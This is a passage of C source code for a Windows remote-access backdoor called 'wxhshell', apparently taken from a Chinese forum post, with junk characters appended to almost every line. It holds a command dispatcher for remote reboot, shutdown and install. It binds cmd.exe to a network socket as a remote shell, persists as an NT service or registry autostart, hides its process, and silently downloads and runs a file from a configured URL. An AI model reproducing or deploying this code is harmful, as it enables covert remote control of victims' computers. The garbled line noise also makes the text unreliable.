  else { Q@ 2i~Qo[  
(Q%'N3gk  
    switch(cmd[0]) { hQ]H /+\  
  JAAI_gSR3  
  // 帮助 1"/He ` 4  
  case '?': { BDVHol*g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m-H-6`]  
    break; 9;Itqe{8w  
  } Gqcq,_?gt  
  // 安装 ?47@ o1  
  case 'i': { Vnx,5E&  
    if(Install()) ?"zY" *>4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RQ'exc2x0  
    else 0GB:GBhZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =i_-F$pV  
    break; v3}L`dyh3  
    } fRy^Q_~,  
  // 卸载 -:30:oq  
  case 'r': { ~n[xtWO0  
    if(Uninstall()) 70f Klp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vm(1G8 a  
    else GDu~d<RH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2R=DB`3  
    break; 5QPM t^  
    } Lg~B'd8m  
  // 显示 wxhshell 所在路径 IB# @yH  
  case 'p': { ?shIj;c[  
    char svExeFile[MAX_PATH]; |;.o8}  
    strcpy(svExeFile,"\n\r"); \"CZI<=TB  
      strcat(svExeFile,ExeFile); v-yde >(  
        send(wsh,svExeFile,strlen(svExeFile),0); N5]0/,I}  
    break; } b=}uiR#  
    } :T]o)  
  // 重启 xEf'Bmebk  
  case 'b': { tj Gd )  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OR}c)|1  
    if(Boot(REBOOT)) ][W_[0v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]l'Y'z,}  
    else { vhsk 0$f  
    closesocket(wsh); A81ls#is  
    ExitThread(0); .pfP7weQ  
    } C0S^h<iSe*  
    break; w"OP8KA:^T  
    } L3 G \  
  // 关机 X@k`3X  
  case 'd': { d+X}cq=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kw8u`$Ad7  
    if(Boot(SHUTDOWN)) mN!lo;m5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @O@GRq&V  
    else { z"+Mrew  
    closesocket(wsh); Q3|T':l4  
    ExitThread(0); "I=\[l8t  
    } t5'V6nv  
    break; Nluv/?<  
    } pGf@z:^{*-  
  // 获取shell {e+-vl  
  case 's': { v2H#=E4cZ#  
    CmdShell(wsh); zX0md x<|<  
    closesocket(wsh); uiJS8(Cb  
    ExitThread(0); g.'yZvaP  
    break; fv`O4  
  } x9x E&  
  // 退出 87:!C5e}  
  case 'x': { 5B&;uY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t Z`z  
    CloseIt(wsh); _~q?_'kx  
    break; v^zu:Z*  
    } p/U+0f  
  // 离开 bYi`R)  
  case 'q': { 2RN)<\P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Y 4F!Rb  
    closesocket(wsh); hQ(qbt{e  
    WSACleanup(); 'ihhoW8  
    exit(1); Qu} W/j|3  
    break; Eh =~T9  
        } ^s@8VAwi  
  } c)A{p  
  } ]J:1P`k.  
1gmt2>#v%  
  // 提示信息 U5-@2YcH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d'/TdVM  
} F B?UZ  
  } ;Ra+=z}>  
_R.B[\r@  
  return; 8F:e|\SB#  
} wMdal:n^  
GrTulN?  
// shell模块句柄 u1z  
int CmdShell(SOCKET sock) mwY IJy[  
{ J?Dq>%+ ^  
STARTUPINFO si; K]j0_~3s  
ZeroMemory(&si,sizeof(si)); ,RgB$TcE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :^Fh!br==  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oyNSh8c7c  
PROCESS_INFORMATION ProcessInfo; YKE46q;J  
char cmdline[]="cmd"; nK$X[KrV'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B*~5)}1op  
  return 0; *;m5'}jsy  
} :.?gHF.?  
om |"S  
// 自身启动模式 4<cz--g  
int StartFromService(void) ?gPKcjgoH!  
{ ^)?d6nI  
typedef struct #7ov#_2Jd  
{ 63.wL0~  
  DWORD ExitStatus; c\ia6[3sX  
  DWORD PebBaseAddress; B9T!j]'  
  DWORD AffinityMask; Rb%%?*|  
  DWORD BasePriority; cuK,X!O  
  ULONG UniqueProcessId; zCOgBT~p   
  ULONG InheritedFromUniqueProcessId; X^\> :<  
}   PROCESS_BASIC_INFORMATION; t9Y=m6  
cwm_nQKk  
PROCNTQSIP NtQueryInformationProcess; b:R-mg.VT{  
k51Eyy50(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZkIgL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f)g7 3=  
-AhwI  
  HANDLE             hProcess; t\RF=BbJJ  
  PROCESS_BASIC_INFORMATION pbi; _=q! BW  
wtT}V=_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w,O,W[C  
  if(NULL == hInst ) return 0; xGU(n _Y  
Qc[3Fq,f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8E8N6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !q-f9E4`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E;d7ch  
@q"m5  
  if (!NtQueryInformationProcess) return 0; 25NTIzI@@  
t=*@yQ nB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iA0q_( \X  
  if(!hProcess) return 0; ,^gyH \  
<H0R&l\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `'\t$nU  
`xz<>g9e  
  CloseHandle(hProcess); / }Rz=&  
Qfky_5R\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *]h`KxuO  
if(hProcess==NULL) return 0; ,ZQZ}`x(  
<BO)E(  
HMODULE hMod; !r`,=jK"  
char procName[255]; 1Nu1BLPm  
unsigned long cbNeeded; uZZU{U9h  
7},)]da>,'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w=|GJ 0  
*=fr8  
  CloseHandle(hProcess); 2DB7+aZ*  
:5/Uh/sX  
if(strstr(procName,"services")) return 1; // 以服务启动 2o#,kGd  
4O:W#bx  
  return 0; // 注册表启动 <$N"q  
} uNn[[LS  
:K ~  
// 主模块 H33i*][H  
int StartWxhshell(LPSTR lpCmdLine) Ne $"g[uFU  
{ ?=VOD#)  
  SOCKET wsl; p~.8\bI=  
BOOL val=TRUE; hoT/KWD,  
  int port=0; .))v0   
  struct sockaddr_in door; +525{Tj  
@Kf_z5tm:  
  if(wscfg.ws_autoins) Install();  be e5  
/T,Z>R  
port=atoi(lpCmdLine); x!_<z''  
4lqH8l.  
if(port<=0) port=wscfg.ws_port;  6l$L~>  
lCF `*DM#  
  WSADATA data; `xiCm':  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^'p|!`:  
PyA&ZkX>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^1Xt]T`e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }n7t h  
  door.sin_family = AF_INET; bu&t'?z x!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aF|d^  
  door.sin_port = htons(port); `z0{S!  
XE3'`D !  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,Rx{yf]k  
closesocket(wsl); ?0_7?yTR/  
return 1; .bVmqR`  
} l{VSb92f  
'xv8Gwf"  
  if(listen(wsl,2) == INVALID_SOCKET) { =&!HwOnp  
closesocket(wsl); tA$)cg+.  
return 1; ~^ ^ NHq  
} .)|a2d ~F  
  Wxhshell(wsl); G pbC M~x  
  WSACleanup(); cECi')  
htm{!Z]s0  
return 0; q> s-Y|  
4wi(?  
} Xnuzr" 4u  
/U6% %%-D`  
// 以NT服务方式启动 mp~{W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `.#@@5e  
{ hI pKJ&hm  
DWORD   status = 0; F?m?UQS'u  
  DWORD   specificError = 0xfffffff; zq1mmFIO  
hh~n#7w~IR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 51# "3S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &x-TW,#Ks  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~|wos-nM  
  serviceStatus.dwWin32ExitCode     = 0; i)Lp7m z  
  serviceStatus.dwServiceSpecificExitCode = 0; L:M0pk{T  
  serviceStatus.dwCheckPoint       = 0;  q{die[J  
  serviceStatus.dwWaitHint       = 0; *2}O-e  
k>E`s<3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |3K)$.6~  
  if (hServiceStatusHandle==0) return; #'OaKt?Z)  
i#X!#vyc  
status = GetLastError(); w6 2=06`@  
  if (status!=NO_ERROR) 4$,,Ppn  
{ @c'|Iqy`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .bf<<+'o  
    serviceStatus.dwCheckPoint       = 0; 9kKnAf4Z  
    serviceStatus.dwWaitHint       = 0; D\^WXY5e%y  
    serviceStatus.dwWin32ExitCode     = status; xjdw'v+qZo  
    serviceStatus.dwServiceSpecificExitCode = specificError; G6K  <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [oc~iDx%W  
    return; <B /5J:o<  
  } yB LUNIr  
}<MR`h1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xx*2?i  
  serviceStatus.dwCheckPoint       = 0; BO.dz06(Rw  
  serviceStatus.dwWaitHint       = 0; :L0/V~D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lc<eRVNd,  
} %lr|xX  
'f/Lv@]a  
// 处理NT服务事件,比如:启动、停止 lH|LdlX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nzX@:7g  
{ R.j1?\  
switch(fdwControl) |m,VTViv;i  
{ ?p[O%_Xf  
case SERVICE_CONTROL_STOP: r^HA aGpC  
  serviceStatus.dwWin32ExitCode = 0; j2 h[70fWC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SW(q$i  
  serviceStatus.dwCheckPoint   = 0; DhI>p0* T  
  serviceStatus.dwWaitHint     = 0; *.f2VQ~H  
  { >+cVs:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Wl(9$  
  } ,/&Zw01dGN  
  return; }tST)=M`  
case SERVICE_CONTROL_PAUSE: ^T4Ay=~{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2 Tvvq(?T  
  break; h5|.Et  
case SERVICE_CONTROL_CONTINUE: 2aNT#J"_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F5gObIJtuY  
  break; Jx-wO/  
case SERVICE_CONTROL_INTERROGATE: W VkR56  
  break; iO!6}yJ*V  
}; ++[5q+b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d]0a%Xh[  
} W( *V2<$o  
Em13dem  
// 标准应用程序主函数 N~=A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [A~G-  
{ icUT<@0  
6R}j-1 <n  
// 获取操作系统版本 a0Oe:]mo\  
OsIsNt=GetOsVer(); -E&e1u,Mi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ul5|.C  
!)NidG  
  // 从命令行安装 ]Ql 0v"` F  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,[48Mspp  
H!IDV }dn  
  // 下载执行文件 i4Z4xTn  
if(wscfg.ws_downexe) { >tRHNB_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i 6no;}j  
  WinExec(wscfg.ws_filenam,SW_HIDE); d-!<C7O}  
} 8zQfY^/{M  
s<T?pH  
if(!OsIsNt) {  ((DzUyK  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~waNPjPRG  
HideProc(); M<8ML!N0;t  
StartWxhshell(lpCmdLine); )JgC$ <  
} N=,j}FY  
else es.CLkuD7Y  
  if(StartFromService()) Mpx/S<Z  
  // 以服务方式启动 z YDK $  
  StartServiceCtrlDispatcher(DispatchTable); ^nDal':*  
else (wt+`_6  
  // 普通方式启动 k{Lv37H  
  StartWxhshell(lpCmdLine); Wr|G:(kw\!  
 7 Yv!N  
return 0; mv Ov<x;l  
}
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只看该作者 1 发表于: 2006-10-10
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